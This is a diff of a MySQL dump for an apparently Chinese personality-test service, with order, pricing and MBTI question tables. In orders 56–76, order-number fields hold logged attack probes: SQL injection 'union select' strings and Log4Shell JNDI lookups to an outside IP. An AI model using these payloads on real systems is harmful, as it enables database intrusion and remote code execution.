'pending', 'wechat', NULL, NULL, 1772090190, 1772090190); +INSERT INTO `mbti_orders` VALUES (5, 'PRICING_FACE_1772090275759_jyi8mv35p', 1, NULL, 'face', NULL, 100, 'pending', 'wechat', NULL, NULL, 1772090276, 1772090276); +INSERT INTO `mbti_orders` VALUES (6, 'FACE20260226152307073', 1, NULL, 'face', NULL, 100, 'pending', 'wechat', NULL, NULL, 1772090588, 1772090588); +INSERT INTO `mbti_orders` VALUES (7, 'FACE20260226152404303', 1, NULL, 'face', NULL, 100, 'pending', 'wechat', NULL, NULL, 1772090644, 1772090644); +INSERT INTO `mbti_orders` VALUES (8, 'FACE20260226152832306', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772090934, NULL, 1772090912, 1772090934); +INSERT INTO `mbti_orders` VALUES (9, 'FACE20260226153553785', 1, NULL, 'face', NULL, 1, 'pending', 'wechat', NULL, NULL, 1772091353, 1772091353); +INSERT INTO `mbti_orders` VALUES (10, 'FACE20260226153623705', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772091404, NULL, 1772091384, 1772091404); +INSERT INTO `mbti_orders` VALUES (11, 'FACE20260226154812416', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772092110, NULL, 1772092093, 1772092110); +INSERT INTO `mbti_orders` VALUES (12, 'FACE20260226162301604', 1, NULL, 'face', NULL, 1, 'pending', 'wechat', NULL, NULL, 1772094181, 1772094181); +INSERT INTO `mbti_orders` VALUES (13, 'FACE20260226163358556', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', NULL, NULL, 1772094839, 1772094854); +INSERT INTO `mbti_orders` VALUES (14, 'FACE20260226163926361', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772095181, NULL, 1772095167, 1772095185); +INSERT INTO `mbti_orders` VALUES (15, 'FACE20260226164046272', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772095665, NULL, 1772095246, 1772095672); +INSERT INTO `mbti_orders` VALUES (16, 'FACE20260226164944760', 1, NULL, 'face', NULL, 1, 'pending', 'wechat', NULL, NULL, 1772095784, 1772095784); +INSERT INTO `mbti_orders` VALUES (17, 'FACE20260226165244539', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772095977, '4200003057202602263224922979', 1772095964, 1772095983); +INSERT INTO `mbti_orders` VALUES (18, 'FACE20260226170030122', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772096444, '4200003092202602260876839499', 1772096431, 1772096449); +INSERT INTO `mbti_orders` VALUES (19, 'FACE20260226170133172', 1, NULL, 'face', NULL, 1, 'pending', 'wechat', NULL, NULL, 1772096493, 1772096493); +INSERT INTO `mbti_orders` VALUES (20, 'FACE20260226170933731', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772096995, '4200003093202602260617366122', 1772096974, 1772096998); +INSERT INTO `mbti_orders` VALUES (21, 'FACE20260226171256984', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772097190, '4200003079202602265982139638', 1772097177, 1772097195); +INSERT INTO `mbti_orders` VALUES (22, 'FACE20260226171740492', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772097475, '4200003005202602265395181321', 1772097460, 1772097481); +INSERT INTO `mbti_orders` VALUES (23, 'FACE20260226172256808', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772097793, '4200003004202602262256134923', 1772097776, 1772097797); +INSERT INTO `mbti_orders` VALUES (24, 'FACE20260226172840499', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772098134, '4200003065202602264599802773', 1772098120, 1772098138); +INSERT INTO `mbti_orders` VALUES (25, 'MBTI20260227095042214', 1, NULL, 'mbti', NULL, 100, 'pending', 'wechat', NULL, NULL, 1772157043, 1772157043); +INSERT INTO `mbti_orders` VALUES (26, 'MBTI20260227095133161', 1, NULL, 'mbti', NULL, 1, 'paid', 'wechat', 1772157110, '4200003061202602274041761513', 1772157093, 1772157115); +INSERT INTO `mbti_orders` VALUES (27, 'PDP20260227095648617', 1, NULL, 'pdp', NULL, 1, 'pending', 'wechat', NULL, NULL, 1772157409, 1772157409); +INSERT INTO `mbti_orders` VALUES (28, 'PDP20260227095712530', 1, NULL, 'pdp', NULL, 1, 'paid', 'wechat', 1772157446, '4200003053202602271167896255', 1772157433, 1772157451); +INSERT INTO `mbti_orders` VALUES (29, 'DISC20260227095750455', 1, NULL, 'disc', NULL, 1, 'paid', 'wechat', 1772157482, '4200003062202602275887289276', 1772157471, 1772157485); +INSERT INTO `mbti_orders` VALUES (30, 'VIP20260227105804939', 1, NULL, 'vip', NULL, 19800, 'pending', 'wechat', NULL, NULL, 1772161084, 1772161084); +INSERT INTO `mbti_orders` VALUES (31, 'DISC20260227140349408', 1, NULL, 'disc', NULL, 1, 'paid', 'wechat', 1772172257, '4200003058202602279679035020', 1772172229, 1772172260); +INSERT INTO `mbti_orders` VALUES (32, 'DISC20260227141329158', 1, NULL, 'disc', NULL, 1, 'paid', 'wechat', 1772172825, '4200003077202602274832092050', 1772172810, 1772172828); +INSERT INTO `mbti_orders` VALUES (33, 'PDP20260227141402259', 1, NULL, 'pdp', NULL, 1, 'paid', 'wechat', 1772172854, '4200003080202602273303069247', 1772172842, 1772172860); +INSERT INTO `mbti_orders` VALUES (34, 'MBTI20260227141433083', 1, NULL, 'mbti', NULL, 1, 'paid', 'wechat', 1772172885, '4200003003202602279020606269', 1772172874, 1772172888); +INSERT INTO `mbti_orders` VALUES (35, 'FACE20260227141457505', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772172909, '4200003065202602279276113364', 1772172897, 1772172912); +INSERT INTO `mbti_orders` VALUES (36, 'FACE20260228140351722', 1, 5, 'face', NULL, 200, 'pending', 'wechat', NULL, NULL, 1772258632, 1772258632); +INSERT INTO `mbti_orders` VALUES (37, 'FACE20260228141854577', 1, 5, 'face', NULL, 200, 'pending', 'wechat', NULL, NULL, 1772259535, 1772259535); +INSERT INTO `mbti_orders` VALUES (38, 'FACE20260228152851705', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772263738, '4200003080202602288946868189', 1772263731, 1772263740); +INSERT INTO `mbti_orders` VALUES (39, 'VIP20260228175015395', 1, NULL, 'vip', NULL, 19800, 'pending', 'wechat', NULL, NULL, 1772272217, 1772272217); +INSERT INTO `mbti_orders` VALUES (40, 'FACE20260228180843875', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772273330, '4200003006202602289813276712', 1772273324, 1772273332); +INSERT INTO `mbti_orders` VALUES (41, 'VIP20260228182241062', 1, NULL, 'vip', NULL, 19800, 'pending', 'wechat', NULL, NULL, 1772274162, 1772274162); +INSERT INTO `mbti_orders` VALUES (42, 'DPER20260302162035667', 1, NULL, 'deep_personal', NULL, 19900, 'pending', 'wechat', NULL, NULL, 1772439635, 1772439635); +INSERT INTO `mbti_orders` VALUES (43, 'DPER20260302162106725', 1, NULL, 'deep_personal', NULL, 19900, 'pending', 'wechat', NULL, NULL, 1772439666, 1772439666); +INSERT INTO `mbti_orders` VALUES (44, 'DPER20260302162210643', 1, NULL, 'deep_personal', NULL, 19900, 'pending', 'wechat', NULL, NULL, 1772439730, 1772439730); +INSERT INTO `mbti_orders` VALUES (45, 'DPER20260302162457651', 1, NULL, 'deep_personal', NULL, 19800, 'pending', 'wechat', NULL, NULL, 1772439897, 1772439897); +INSERT INTO `mbti_orders` VALUES (46, 'DPER20260302162616910', 1, NULL, 'deep_personal', NULL, 19800, 'pending', 'wechat', NULL, NULL, 1772439976, 1772439976); +INSERT INTO `mbti_orders` VALUES (47, 'DPER20260302163510075', 1, NULL, 'deep_personal', NULL, 1, 'pending', 'wechat', NULL, NULL, 1772440510, 1772440510); +INSERT INTO `mbti_orders` VALUES (48, 'DPER20260302163948487', 1, NULL, 'deep_personal', NULL, 1, 'pending', 'wechat', NULL, NULL, 1772440789, 1772440789); +INSERT INTO `mbti_orders` VALUES (49, 'DPER20260302164000818', 1, NULL, 'deep_personal', NULL, 19800, 'pending', 'wechat', NULL, NULL, 1772440800, 1772440800); +INSERT INTO `mbti_orders` VALUES (50, 'DPER20260302164034604', 1, NULL, 'deep_personal', NULL, 1, 'paid', 'wechat', 1772440841, '4200003080202603024809173091', 1772440834, 1772440846); +INSERT INTO `mbti_orders` VALUES (51, 'DPER20260302164828836', 1, NULL, 'deep_personal', '个人深度洞察测试版', 1, 'paid', 'wechat', 1772441323, '4200003071202603028924341619', 1772441308, 1772441326); +INSERT INTO `mbti_orders` VALUES (52, 'FACE20260303144952267', 1, 5, 'face', 'AI人脸性格分析完整报告', 200, 'pending', 'wechat', NULL, NULL, 1772520593, 1772520593); +INSERT INTO `mbti_orders` VALUES (53, 'FACE20260303145028544', 1, 6, 'face', 'AI人脸性格分析完整报告', 2, 'pending', 'wechat', NULL, NULL, 1772520628, 1772520628); +INSERT INTO `mbti_orders` VALUES (54, 'FACE20260303153333300', 1, 6, 'face', 'AI人脸性格分析完整报告', 2, 'pending', 'wechat', NULL, NULL, 1772523215, 1772523215); +INSERT INTO `mbti_orders` VALUES (55, 'DPER20260304110938288', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593778, 1772594061); +INSERT INTO `mbti_orders` VALUES (56, 'DPER20260304110938288\' union select 1-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593911, 1772593911); +INSERT INTO `mbti_orders` VALUES (57, 'DPER20260304110938288\' union select 1,2-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593912, 1772593912); +INSERT INTO `mbti_orders` VALUES (58, 'DPER20260304110938288\' union select md5(3141592657', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593913, 1772593913); +INSERT INTO `mbti_orders` VALUES (59, 'DPER20260304110938288\' union select 1,md5(31415926', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593913, 1772593913); +INSERT INTO `mbti_orders` VALUES (60, '\" union select 1-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593935, 1772593935); +INSERT INTO `mbti_orders` VALUES (61, '\" union select 1,2-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593936, 1772593936); +INSERT INTO `mbti_orders` VALUES (62, '\" union select md5(3141592657),2-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593936, 1772593936); +INSERT INTO `mbti_orders` VALUES (63, '\" union select 1,md5(3141592657)-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593937, 1772593937); +INSERT INTO `mbti_orders` VALUES (64, 'DPER20260304110938288\" union select 1-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593938, 1772593938); +INSERT INTO `mbti_orders` VALUES (65, 'DPER20260304110938288\" union select 1,2-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593941, 1772593941); +INSERT INTO `mbti_orders` VALUES (66, 'DPER20260304110938288\" union select md5(3141592657', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593944, 1772593944); +INSERT INTO `mbti_orders` VALUES (67, 'DPER20260304110938288\" union select 1,md5(31415926', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593945, 1772593945); +INSERT INTO `mbti_orders` VALUES (68, '\' union select 1-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593993, 1772593993); +INSERT INTO `mbti_orders` VALUES (69, '\' union select 1,2-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593994, 1772593994); +INSERT INTO `mbti_orders` VALUES (70, '\' union select md5(3141592657),2-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593994, 1772593994); +INSERT INTO `mbti_orders` VALUES (71, '\' union select 1,md5(3141592657)-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593995, 1772593995); +INSERT INTO `mbti_orders` VALUES (72, '${jndi:ldap://183.47.120.213:1389/jdk18dd6cff356b8', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772594035, 1772594035); +INSERT INTO `mbti_orders` VALUES (73, '${jndi:ldap://hostname-${hostName}.username-${sys:', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772594037, 1772594037); +INSERT INTO `mbti_orders` VALUES (74, '${jndi:rmi://hostname-${hostName}.username-${sys:u', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772594039, 1772594039); +INSERT INTO `mbti_orders` VALUES (75, 'aaaa\'%bf%27', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772594047, 1772594047); +INSERT INTO `mbti_orders` VALUES (76, '${jndi:rmi://183.47.120.213:1099/bypassdbb5556f68f', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772594048, 1772594048); +INSERT INTO `mbti_orders` VALUES (77, 'FACE20260306155303513', 1, 5, 'face', 'AI人脸性格分析完整报告', 101, 'pending', 'wechat', NULL, NULL, 1772783583, 1772783583); +INSERT INTO `mbti_orders` VALUES (78, 'RCG20260309161126129', 1, 6, 'recharge', '账户充值 ¥0.02', 2, 'paid', 'wechat', 1773043902, '4200003069202603099508909989', 1773043886, 1773043904); +INSERT INTO `mbti_orders` VALUES (79, 'RCG20260309173206082', 1, 6, 'recharge', '账户充值 ¥0.05', 5, 'paid', 'wechat', 1773048743, '4200003094202603093110277383', 1773048727, 1773048748); +INSERT INTO `mbti_orders` VALUES (80, 'DPER20260311145816460', 1, NULL, 'deep_personal', '测试001', 1, 'paid', 'wechat', 1773212308, '4200003094202603119078710446', 1773212296, 1773212314); +INSERT INTO `mbti_orders` VALUES (81, 'DPER20260311150058412', 1, NULL, 'deep_personal', '测试001', 1, 'pending', 'wechat', NULL, NULL, 1773212464, 1773212464); +INSERT INTO `mbti_orders` VALUES (82, 'DPER20260311150121076', 1, NULL, 'deep_personal', '测试001', 1, 'paid', 'wechat', 1773212493, '4200003001202603114491728544', 1773212482, 1773212497); +INSERT INTO `mbti_orders` VALUES (83, 'DPER20260312114701237', 2, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1773287221, 1773287221); + +-- ---------------------------- +-- Table structure for mbti_pricing_config +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_pricing_config`; +CREATE TABLE `mbti_pricing_config` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '配置ID', + `type` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '定价类型:personal个人版/enterprise企业版/deep深度服务', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID,NULL=全局默认', + `config` json NULL COMMENT '定价配置(JSON格式)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `idx_type_enterpriseId`(`type`, `enterpriseId`) USING BTREE, + INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 12 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '全局定价配置表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of mbti_pricing_config +-- ---------------------------- +INSERT INTO `mbti_pricing_config` VALUES (1, 'personal', NULL, '{\"pdp\": 0.01, \"disc\": 0.01, \"face\": 0.01, \"mbti\": 0.01, \"report\": 0}', 1770882450, 1773127359); +INSERT INTO `mbti_pricing_config` VALUES (2, 'enterprise', NULL, '{\"pdp\": 8, \"disc\": 8, \"face\": 8, \"mbti\": 8, \"report\": 15, \"minRecharge\": 100, \"teamAnalysis\": 99, \"resumeAnalysis\": 0, \"testsPerRecharge\": 100}', 1770882450, 1773220907); +INSERT INTO `mbti_pricing_config` VALUES (3, 'deep', NULL, '{\"team\": 999, \"personal\": 199}', 1770882450, 1770882450); +INSERT INTO `mbti_pricing_config` VALUES (4, 'admin_personal', 5, '{\"pdp\": 0, \"disc\": 0, \"face\": 0, \"mbti\": 0, \"report\": 19.9}', 1770887324, 1773036920); +INSERT INTO `mbti_pricing_config` VALUES (5, 'admin_personal', 6, '{\"pdp\": 0, \"disc\": 0, \"face\": 0, \"mbti\": 0, \"report\": 0.02}', 1772161295, 1773036737); +INSERT INTO `mbti_pricing_config` VALUES (8, 'deep_personal', NULL, '{\"categories\": [{\"id\": \"1772268461984\", \"price\": 198, \"title\": \"个人深度洞察版\", \"features\": [\"AI面部分析(基于东方面相学与西方心理学)\", \"MBTI性格测试(16型人格完整解读)\", \"盖洛普优势Top5识别(发现你的核心天赋)\", \"PDP行为偏好分析(了解你的行为模式)\", \"DISC沟通风格分析(提升沟通效率)\", \"多维度综合性格报告(包含优势解读、潜在盲区提示)\", \"职业发展方向推荐(匹配最适合你的职业)\"], \"subtitle\": \"三张照片+问卷,全面解锁你的内在潜能\", \"priceUnit\": \"/次\", \"actionType\": \"buy\", \"productKey\": \"1772268461984\", \"consultWechat\": \"mi5p9-f4gx6-tl4nw-a2qb8-4wgap\", \"serviceWechat\": \"Lkdie01\", \"successMessage\": \"购买成功!我们的顾问会尽快与您联系,为您提供专属深度解读服务。\"}]}', 1772268761, 1773212515); +INSERT INTO `mbti_pricing_config` VALUES (9, 'deep_enterprise', NULL, '{\"categories\": [{\"id\": \"1772268637136\", \"title\": \"团队启动版\", \"features\": [\"10人完成个人深度洞察报告\", \"1次团队动力诊断分析会(2-3小时)\", \"识别团队优势组合与潜在风险点\"], \"subtitle\": \"适合初创团队、小型部门\", \"userLimit\": \"最多10人\", \"actionType\": \"consult\", \"buttonText\": \"申请咨询\", \"priceDisplay\": \"19800\", \"consultWechat\": \"mi5p9-f4gx6-tl4nw-a2qb8-4wgap\", \"serviceWechat\": \"Lkdie01\", \"successMessage\": \"感谢您的申请,我们的顾问会尽快与您联系!\"}, {\"id\": \"1772268677712\", \"title\": \"团队成长版\", \"features\": [\"最多30人完成个人深度洞察报告\", \"包含\\\"启动版\\\"所有内容\", \"1次定制化团队协作增效工作坊(7天)\", \"聚焦沟通优化、优势协作等主题\"], \"subtitle\": \"适合成长型团队\", \"userLimit\": \"10-30人\", \"actionType\": \"consult\", \"buttonText\": \"申请咨询\", \"priceDisplay\": \"39800\", \"consultWechat\": \"mi5p9-f4gx6-tl4nw-a2qb8-4wgap\", \"serviceWechat\": \"Lkdie01\", \"successMessage\": \"感谢您的申请,我们的顾问会尽快与您联系!\"}, {\"id\": \"1772268704928\", \"title\": \"团队蜕变版\", \"features\": [\"最多100人完成个人深度洞察报告\", \"包含\\\"成长版\\\"所有内容\", \"更深度、更定制化的系列组合(≥2工作日)\", \"3个月的落地跟进顾问服务\"], \"subtitle\": \"适合中大型团队\", \"userLimit\": \"最多100人\", \"actionType\": \"consult\", \"buttonText\": \"申请咨询\", \"priceDisplay\": \"98000\", \"consultWechat\": \"mi5p9-f4gx6-tl4nw-a2qb8-4wgap\", \"serviceWechat\": \"Lkdie01\", \"successMessage\": \"感谢您的申请,我们的顾问会尽快与您联系!\"}]}', 1772268761, 1773212515); +INSERT INTO `mbti_pricing_config` VALUES (10, 'admin_enterprise', 5, '{\"pdp\": 0, \"disc\": 0, \"face\": 0, \"mbti\": 0, \"report\": 15, \"minRecharge\": 1000, \"teamAnalysis\": 99, \"resumeAnalysis\": 0, \"testsPerRecharge\": 100}', 1772767876, 1773036927); +INSERT INTO `mbti_pricing_config` VALUES (11, 'admin_enterprise', 6, '{\"pdp\": 0, \"disc\": 0, \"face\": 0, \"mbti\": 0, \"report\": 15, \"minRecharge\": 1000, \"teamAnalysis\": 99, \"resumeAnalysis\": 0, \"testsPerRecharge\": 100}', 1773036955, 1773036955); + +-- ---------------------------- +-- Table structure for mbti_questions +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_questions`; +CREATE TABLE `mbti_questions` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '题目ID', + `type` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '题目类型:mbti/disc/pdp', + `question` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '题目内容', + `options` json NULL COMMENT '选项(JSON格式)', + `dimension` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '维度(仅MBTI类型使用:EI/SN/TF/JP)', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID(NULL表示超管题库)', + `sort` int(11) NULL DEFAULT 0 COMMENT '排序', + `status` tinyint(1) NULL DEFAULT 1 COMMENT '状态:1启用,0禁用', + `deletedAt` int(11) NULL DEFAULT NULL COMMENT '删除时间(时间戳,NULL表示未删除)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_type`(`type`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE, + INDEX `idx_sort`(`sort`) USING BTREE, + INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE, + INDEX `idx_deletedAt`(`deletedAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 131 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '题目表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of mbti_questions +-- ---------------------------- +INSERT INTO `mbti_questions` VALUES (1, 'mbti', '在社交场合中,您通常会:', '[{\"text\": \"认识新朋友,扩大社交圈\", \"value\": \"E\"}, {\"text\": \"与已认识的朋友交流,保持小圈子\", \"value\": \"I\"}]', 'EI', NULL, 1, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (2, 'mbti', '您更喜欢:', '[{\"text\": \"在团队中工作,与他人合作\", \"value\": \"E\"}, {\"text\": \"独立工作,自己思考问题\", \"value\": \"I\"}]', 'EI', NULL, 2, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (3, 'mbti', '当您需要充电时,您会选择:', '[{\"text\": \"与朋友聚会,参加社交活动\", \"value\": \"E\"}, {\"text\": \"独处,阅读或进行个人爱好\", \"value\": \"I\"}]', 'EI', NULL, 3, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (4, 'mbti', '在会议或讨论中,您通常:', '[{\"text\": \"积极发言,边说边思考\", \"value\": \"E\"}, {\"text\": \"先思考,然后再发表意见\", \"value\": \"I\"}]', 'EI', NULL, 4, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (5, 'mbti', '您更倾向于:', '[{\"text\": \"认识很多人,建立广泛的社交网络\", \"value\": \"E\"}, {\"text\": \"与少数几个人建立深厚的友谊\", \"value\": \"I\"}]', 'EI', NULL, 5, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (6, 'mbti', '在工作环境中,您更喜欢:', '[{\"text\": \"开放的办公空间,可以随时与同事交流\", \"value\": \"E\"}, {\"text\": \"安静的私人空间,可以专注工作\", \"value\": \"I\"}]', 'EI', NULL, 6, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (7, 'mbti', '当面对问题时,您更倾向于:', '[{\"text\": \"与他人讨论,获取不同观点\", \"value\": \"E\"}, {\"text\": \"独自思考,寻找解决方案\", \"value\": \"I\"}]', 'EI', NULL, 7, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (8, 'mbti', '您更喜欢的休闲活动是:', '[{\"text\": \"参加派对、团体活动或体育比赛\", \"value\": \"E\"}, {\"text\": \"阅读、看电影或独自进行创作\", \"value\": \"I\"}]', 'EI', NULL, 8, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (9, 'mbti', '在陌生环境中,您通常会:', '[{\"text\": \"主动与他人交谈,快速融入环境\", \"value\": \"E\"}, {\"text\": \"观察周围环境,等待他人接近\", \"value\": \"I\"}]', 'EI', NULL, 9, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (10, 'mbti', '您认为自己是:', '[{\"text\": \"外向、健谈的人\", \"value\": \"E\"}, {\"text\": \"内敛、安静的人\", \"value\": \"I\"}]', 'EI', NULL, 10, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (11, 'mbti', '长时间的社交活动后,您通常会:', '[{\"text\": \"感到精力充沛,想继续社交\", \"value\": \"E\"}, {\"text\": \"感到疲惫,需要独处恢复精力\", \"value\": \"I\"}]', 'EI', NULL, 11, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (12, 'mbti', '您更喜欢的工作方式是:', '[{\"text\": \"与团队一起头脑风暴和协作\", \"value\": \"E\"}, {\"text\": \"独立思考和解决问题\", \"value\": \"I\"}]', 'EI', NULL, 12, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (13, 'mbti', '您更容易:', '[{\"text\": \"在说话的过程中组织思路\", \"value\": \"E\"}, {\"text\": \"在说话前先组织好思路\", \"value\": \"I\"}]', 'EI', NULL, 13, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (14, 'mbti', '您更喜欢的学习方式是:', '[{\"text\": \"小组讨论和互动学习\", \"value\": \"E\"}, {\"text\": \"自学和独立研究\", \"value\": \"I\"}]', 'EI', NULL, 14, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (15, 'mbti', '当您有好消息时,您会:', '[{\"text\": \"立即告诉朋友和家人分享喜悦\", \"value\": \"E\"}, {\"text\": \"只告诉少数几个亲近的人\", \"value\": \"I\"}]', 'EI', NULL, 15, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (16, 'mbti', '您更喜欢的假期类型是:', '[{\"text\": \"热闹的旅游胜地,有很多活动和人\", \"value\": \"E\"}, {\"text\": \"安静的度假地,可以放松和思考\", \"value\": \"I\"}]', 'EI', NULL, 16, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (17, 'mbti', '在团队项目中,您更倾向于:', '[{\"text\": \"担任协调者或发言人的角色\", \"value\": \"E\"}, {\"text\": \"负责研究或分析的工作\", \"value\": \"I\"}]', 'EI', NULL, 17, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (18, 'mbti', '您更喜欢的通讯方式是:', '[{\"text\": \"面对面交谈或视频通话\", \"value\": \"E\"}, {\"text\": \"电子邮件或文字消息\", \"value\": \"I\"}]', 'EI', NULL, 18, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (19, 'mbti', '当您遇到困难时,您更倾向于:', '[{\"text\": \"寻求他人的建议和支持\", \"value\": \"E\"}, {\"text\": \"自己思考解决方案\", \"value\": \"I\"}]', 'EI', NULL, 19, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (20, 'mbti', '您更喜欢的工作环境是:', '[{\"text\": \"充满活力和互动的环境\", \"value\": \"E\"}, {\"text\": \"安静和专注的环境\", \"value\": \"I\"}]', 'EI', NULL, 20, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (21, 'mbti', '您更倾向于:', '[{\"text\": \"在多个社交圈中活跃\", \"value\": \"E\"}, {\"text\": \"在一个小圈子中深入交往\", \"value\": \"I\"}]', 'EI', NULL, 21, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (22, 'mbti', '您更喜欢:', '[{\"text\": \"参加大型社交活动\", \"value\": \"E\"}, {\"text\": \"与一两个朋友进行深入交流\", \"value\": \"I\"}]', 'EI', NULL, 22, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (23, 'mbti', '您更倾向于:', '[{\"text\": \"在公共场合表达自己的想法\", \"value\": \"E\"}, {\"text\": \"在私下或小范围内分享想法\", \"value\": \"I\"}]', 'EI', NULL, 23, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (24, 'mbti', '当面对新信息时,您更倾向于:', '[{\"text\": \"关注具体细节和事实\", \"value\": \"S\"}, {\"text\": \"寻找模式和可能性\", \"value\": \"N\"}]', 'SN', NULL, 24, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (25, 'mbti', '您更相信:', '[{\"text\": \"实际经验和直接观察\", \"value\": \"S\"}, {\"text\": \"直觉和想象力\", \"value\": \"N\"}]', 'SN', NULL, 25, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (26, 'mbti', '您更喜欢处理:', '[{\"text\": \"已知的、确定的信息\", \"value\": \"S\"}, {\"text\": \"理论性的、抽象的概念\", \"value\": \"N\"}]', 'SN', NULL, 26, 1, NULL, 1770881507, 1770881507); +INSERT INTO 